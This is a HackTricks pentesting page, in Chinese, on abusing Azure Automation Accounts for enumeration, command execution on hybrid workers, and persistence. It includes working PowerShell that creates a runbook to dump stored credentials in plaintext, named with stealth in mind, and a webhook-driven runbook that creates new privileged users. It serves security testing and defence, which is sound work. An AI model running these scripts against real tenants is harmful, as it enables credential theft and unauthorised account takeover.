Az - Automation Account

支持 HackTricks

基本信息

来自文档: Azure 自动化提供基于云的自动化、操作系统更新和配置服务,支持在 Azure 和非 Azure 环境中进行一致的管理。它包括过程自动化、配置管理、更新管理、共享功能和异构特性。

这些就像 Azure 中的 "计划任务",可以让您执行操作(动作或脚本)以 管理、检查和配置 Azure 环境

运行帐户

当使用 运行帐户 时,它会创建一个带有自签名证书的 Azure AD 应用程序,创建一个 服务主体 并为该帐户在 当前订阅 中分配 贡献者 角色(拥有很多权限)。 Microsoft 建议为自动化帐户使用 托管身份

这将在 2023 年 9 月 30 日 移除并更改为托管身份。

运行书和作业

运行书 允许您 执行任意 PowerShell 代码。这可能会被 攻击者滥用 来窃取 附加主体 的权限(如果有的话)。 在 运行书代码 中,您还可能找到 敏感信息(例如凭据)。

如果您可以 读取 作业,请这样做,因为它们 包含 运行的 输出(潜在的 敏感信息)。

转到 自动化帐户 --> <选择自动化帐户> --> 运行书/作业/混合工作者组/观察者任务/凭据/变量/证书/连接

混合工作者

运行书可以在 Azure 内的容器混合工作者(非 Azure 机器)中运行。 日志分析代理 部署在 VM 上以将其注册为混合工作者。 混合工作者作业在 Windows 上以 SYSTEM 身份运行,在 Linux 上以 nxautomation 帐户运行。 每个混合工作者都注册在 混合工作者组 中。

因此,如果您可以选择在 Windows 混合工作者 中运行 运行书,您将以 System 身份在外部机器上执行 任意命令(很好的转移技术)。

破坏状态配置 (SC)

来自文档: Azure 自动化 状态配置 是一种 Azure 配置管理服务,允许您为任何云或本地数据中心中的节点编写、管理和编译 PowerShell 所需状态配置 (DSC) 配置。该服务还导入 DSC 资源,并将配置分配给目标节点,所有这些都在云中。您可以通过在 Azure 门户中选择 状态配置 (DSC) 在 Azure 自动化状态配置中访问。

敏感信息 可能会在这些配置中找到。

RCE

可以滥用 SC 在受管机器上运行任意脚本。

枚举

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

创建一个 Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

通过运行簿从自动化帐户中提取凭据和变量

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

您可以通过修改现有的运行手册,并从网络控制台执行相同的操作。

设置自动化高权限用户创建的步骤

1. 初始化自动化帐户

  • 所需操作: 创建一个新的自动化帐户。

  • 特定设置: 确保启用“创建 Azure Run As 帐户”。

2. 导入和设置运行手册

  • 来源:MicroBurst GitHub Repository 下载示例运行手册。

  • 所需操作:

  • 将运行手册导入到自动化帐户中。

  • 发布运行手册以使其可执行。

  • 将网络钩子附加到运行手册,启用外部触发。

3. 配置 AzureAD 模块

  • 所需操作: 将 AzureAD 模块添加到自动化帐户中。

  • 附加步骤: 确保所有 Azure 自动化模块已更新到最新版本。

4. 权限分配

  • 要分配的角色:

  • 用户管理员

  • 订阅所有者

  • 目标: 将这些角色分配给自动化帐户以获得必要的权限。

5. 注意潜在的访问丧失

  • 注意: 请注意,配置此类自动化可能会导致失去对订阅的控制。

6. 触发用户创建

  • 通过发送 POST 请求触发网络钩子以创建新用户。

  • 使用提供的 PowerShell 脚本,确保将 $uri 替换为您的实际网络钩子 URL,并更新 $AccountInfo 以包含所需的用户名和密码。

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

参考文献

支持 HackTricks

Last updated